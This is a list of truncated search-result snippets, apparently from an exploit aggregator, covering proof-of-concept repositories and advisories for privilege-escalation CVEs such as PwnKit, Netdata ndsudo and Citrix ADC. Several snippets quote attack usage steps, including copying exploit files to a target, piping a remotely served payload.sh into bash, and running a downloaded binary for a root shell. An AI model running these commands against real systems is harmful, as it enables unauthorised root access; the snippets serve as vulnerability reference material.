CVE-2021-30357_CheckPoint_SNX_VPN_PoC

CVE-2021-30357CheckPointSNXVPNPoC Доказательство концепции для привилегированного чтения файлов через CheckPoint SNX VPN Linux Client. Подверженная версия CheckPointVPNSNXLinux800007075.sh Контрольная сумма MD5: 4372e9936e2dfb1d1ebcef3ed4dd7787 Эксплойт Для эксплуатации просто загрузите любой фай...

CVE-2023-0386

typora-copy-images-to: ./image CVE-2023-0386 Использование эксплойта: Первое : Загрузите fuse.c и exp.sh в каталог /tmp. Вы можете использовать scp или python3 -m http.server для загрузки файла на цель. root@kitploit: scp /Desktop/CVE-2023-0386/exp.sh [email protected]:/tmp scp...

CVE-2023-3519

Citrix ADC RCE CVE-2023-3519 Этот эксплойт использует адреса и шеллкод для Citrix VPX 13.1-48.47. Полное описание доступно по ссылке здесь. Использование Для сборки шеллкода требуется NASM. root@kitploit: $ sudo apt install nasm Включенный шеллкод загружает и запускает shell-скрипт с удаленного...

CVE-2023-3460_FIX

CVE-20233460 Эта лаборатория создана с целью обучения и повышения привилегий. Для освоения навыков повышения привилегий вы можете прочитать дополнительную информацию по ссылке ниже. https://viblo.asia/p/leo-thang-dac-quyen-trong-linux-linux-privilege-escalation-1-using-suid-bit-QpmlexgrZrd...

CVE-2024-32019-poc

CVE-2024-32019-poc PoC для Netdata ndsudo Скомпилируйте бинарник: root@kitploit: go build -ldflags "-s -w" -o nvme poc.go upx nvme Запустите bash-скрипт: root@kitploit: bash exploit.sh На целевой машине выполните в каталоге с правом на запись: root@kitploit: curl http://:8000/payload.sh | bash Он...

PwnKit-CVE-2021-4034

PwnKit PoC для PwnKit / CVE-2021-4034 — локальное повышение привилегий через Pkexec Эксплуатация Вручную root@kitploit: curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit chmod +x ./PwnKit ./PwnKit interactive shell ./PwnKit 'id' single command...

CVE-2021-4034

CVE-2021-4034 эксплойт для повышения привилегий в polkit Просто выполните make, ./cve-2021-4034 и наслаждайтесь root-оболочкой. Оригинальный advisory от моей команды Qualys здесь PoC Если эксплойт сработает, вы сразу получите root-оболочку: root@kitploit: kali@user:/CVE-2021-4034$ make cc -Wall...

CVE-2021-4034

CVE-2021-4034 25 января 2022 | An00bRektn Это реализация CVE-2021-4034 на Golang, основанная на читай: бессовестно украденная у clubby789's реализации уязвимости, обнаруженной Qualys. Я написал пост в блоге с более подробным разбором этой уязвимости, в основном для себя, но он также пригодится...

CVE-2026-71309 vulnerabilities

Vulnerabilities for packages: rclone-fips, telegraf...

Unity Linux 20.1050e / 20.1060e / 20.1070e Security Update: kernel (UTSA-2026-007523)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-007523 advisory. In the Linux kernel, the following vulnerability has been resolved: fs/9p: only translate RWX permissions for plain 9P2000 Garbage in plain 9P2000's perm bits is...

PT-2026-30240

Name of the Vulnerable Software and Affected Versions util-linux versions prior to 2.41.4 Description A Time-of-Check-Time-of-Use TOCTOU vulnerability exists in the SUID binary /usr/bin/mount within util-linux. When setting up loop devices, the binary validates a file path with user privileges bu...

CVE-2024-34477

configureNFS in lib/common/functions.sh in FOG through 1.5.10 allows local users to gain privileges by mounting a crafted NFS share because of norootsquash and insecure. In order to exploit the vulnerability, someone needs to mount an NFS share in order to add an executable file as root. In...

CVE-2025-12424

Azure Access Technology BLU-IC2 and BLU-IC4 are vulnerable to privilege escalation due to improper privilege management in a SUID-bit binary. Affected products/versions: BLU-IC2 and BLU-IC4 up to 1.19.5. Root cause: SUID-binary enables elevation of privileges. Impact: described as Privilege Escal...

EUVD-2021-2286

Malware in sbrugna...

CVE-2021-3978

When copying files with rsync, octorpki uses the "-a" flag 0, which forces rsync to copy binaries with the suid bit set as root. Since the provided service definition defaults to root https://github.com/cloudflare/cfrpki/blob/master/package/octorpki.service this could allow for a vector, when...

CVE-2021-3978

When copying files with rsync, octorpki uses the "-a" flag 0, which forces rsync to copy binaries with the suid bit set as root. Since the provided service definition defaults to root https://github.com/cloudflare/cfrpki/blob/master/package/octorpki.service this could allow for a vector, when...

CVE-2024-36964

In the Linux kernel, the following vulnerability has been resolved: fs/9p: only translate RWX permissions for plain 9P2000 Garbage in plain 9P2000's perm bits is allowed through, which causes it to be able to set among others the suid bit. This was presumably not the intent since the unix extende...

SUSE CVE-2024-36964

In the Linux kernel, the following vulnerability has been resolved: fs/9p: only translate RWX permissions for plain 9P2000 Garbage in plain 9P2000's perm bits is allowed through, which causes it to be able to set among others the suid bit. This was presumably not the intent since the unix extende...

CVE-2024-36964

In the Linux kernel, the following vulnerability has been resolved: fs/9p: only translate RWX permissions for plain 9P2000 Garbage in plain 9P2000's perm bits is allowed through, which causes it to be able to set among others the suid bit. This was presumably not the intent since the unix extende...

Privilege Escalation

github.com/projectcalico/calico/ is vulnerable to Privilege Escalation. The vulnerability is due to an incorrect SUID bit configuration in the Calico CNI install binary, combined with the ability to control the input binary, allows an attacker to execute an arbitrary binary with elevated privileg...